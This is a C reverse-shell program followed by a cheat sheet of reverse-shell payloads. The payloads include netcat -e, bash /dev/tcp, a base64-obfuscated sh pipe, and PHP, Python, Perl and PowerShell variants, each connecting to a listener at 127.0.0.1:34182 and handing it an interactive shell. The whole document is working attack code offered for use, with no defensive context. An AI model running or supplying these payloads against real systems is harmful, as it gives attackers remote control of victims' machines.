/* Copyright (C) 2017-2017 cmj. All right reserved. */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <errno.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <sys/socket.h>

/* Simple reverse shell written by C
 *
 * It only test on the Mac OS X 10.12.6 by Apple LLVM 9.0.0 (clang-900.0.38)
 */

#define SH "/bin/sh"

#if DEBUG
#	define _D(msg, ...)
#else
#	define _D(msg, ...) fprintf(stderr, "[%s %3d] " msg "\n", __FILE__, __LINE__, ##__VA_ARGS__)
#endif

int main(int argc, char *argv[]) {
	int sk = -1, optIdx = -1, port = 34182, cnt = 1;
	char ch, opts[] = "hH:p:r:", addr[16] = {0};
	struct option options[] = {
		{"help",	no_argument,		0, 'h'},
		{"host",	required_argument,	0, 'H'},
		{"port",	required_argument,	0, 'p'},
		{"retry",	required_argument,	0, 'r'},
		{NULL, 0, 0, 0}
	};
	struct hostent *hostent = NULL;
	struct sockaddr_in server;

	while (-1 != (ch = getopt_long(argc, argv, opts, options, &optIdx))) {
		switch (ch) {
			case 'H':
				snprintf(addr, sizeof(addr), "%s", optarg);
				break;
			case 'p':
				port = atoi(optarg);
				break;
			case 'r':
				cnt = atoi(optarg);
				break;
			default:
				fprintf(stderr, "%s [-p port:34182] [-H host]\n", argv[0]);
				exit(-1);
				break;
		}
	}

	server.sin_family      = AF_INET;
	server.sin_addr.s_addr = inet_addr(addr);
	server.sin_port        = htons(port);

	/* check the target host is valid */
	if (NULL == (hostent = gethostbyname(addr))) {
		_D("gethostbyname `%s` failure %s", addr, strerror(errno));
		return -1;
	}

	/* retry connection */
	while (cnt > 0) {
		if (sk >= 0) close(sk);

		if (0 > (sk = socket(AF_INET, SOCK_STREAM, 0))) {
			_D("sock create failure %s", strerror(errno));
			cnt --;
			continue;
		} else if (0 > connect(sk, (struct sockaddr *)&server, sizeof(server))) {
			_D("connect failure %s", strerror(errno));
			cnt --;
			continue;
		}

		dup2(sk, 0);	/* STDIN  */
		dup2(sk, 1);	/* STDOUT */
		dup2(sk, 2);	/* STDERR */

		execv(SH, NULL);
		break;
	}

	return 0;
}

nc -d 127.0.0.1 34182 -e /bin/sh

> bash -i >& /dev/tcp/127.0.0.1/34182 0>&1

> echo "/bin/sh -i >& /dev/tcp/127.0.0.1/34182 0>&1" | sh
> echo -n "/bin/sh -i >& /dev/tcp/127.0.0.1/34182 0>&1" | base64 | base64 -d | sh
> echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTU2NiAwPiYx | base64 -d | sh

<?php $sk = fsockopen("127.0.0.1", 34182); exec("/bin/bash -i <&3 >&3 2>&3"); ?>

import socket, os;
sk = socket.create_connection(("127.0.0.1", 34182));
fd = sk.fileno();
os.popen("bash -i <&{0} >&{0} 2>&{0}".format(fd));

import socket, os, subprocess;
sk = socket.create_connection(("127.0.0.1", 34182));
fd = sk.fileno();
subprocess.Popen(["/bin/sh", "-c", f"/bin/sh -i <{fd} >&{fd} 2>&{fd}"]);

use Socket;
socket(s, AF_INET, SOCK_STREAM, 0);
connect(s, pack_sockaddr_in(34182, inet_aton("127.0.0.1"))) or die;
open(STDIN, ">&s"); open(STDOUT, ">&s"); open(STDERR, ">&s");
exec("/bin/sh -i");

$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 34182);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;
	$res = ""
	while($stream.DataAvailable -or $read -eq $null) {
		$read = $stream.Read($buffer, 0, 1024)
	}
	$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
	if(!$out.equals("exit")){
		$args = "";
		if($out.IndexOf(' ') -gt -1){
			$args = $out.substring($out.IndexOf(' ')+1);
			$out = $out.substring(0,$out.IndexOf(' '));
			if($args.split(' ').length -gt 1){
				$pinfo = New-Object System.Diagnostics.ProcessStartInfo
				$pinfo.FileName = "cmd.exe"
				$pinfo.RedirectStandardError = $true
				$pinfo.RedirectStandardOutput = $true
				$pinfo.UseShellExecute = $false
				$pinfo.Arguments = "/c $out $args"
				$p = New-Object System.Diagnostics.Process
				$p.StartInfo = $pinfo
				$p.Start() | Out-Null
				$p.WaitForExit()
				$stdout = $p.StandardOutput.ReadToEnd()
				$stderr = $p.StandardError.ReadToEnd()
				if ($p.ExitCode -ne 0) {
					$res = $stderr
				} else {
					$res = $stdout
				}
			}
			else{
				$res = (&"$out" "$args") | out-string;
			}
		}
		else{
			$res = (&"$out") | out-string;
		}
		if($res -ne $null){
		$writer.WriteLine($res)
	}
	}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()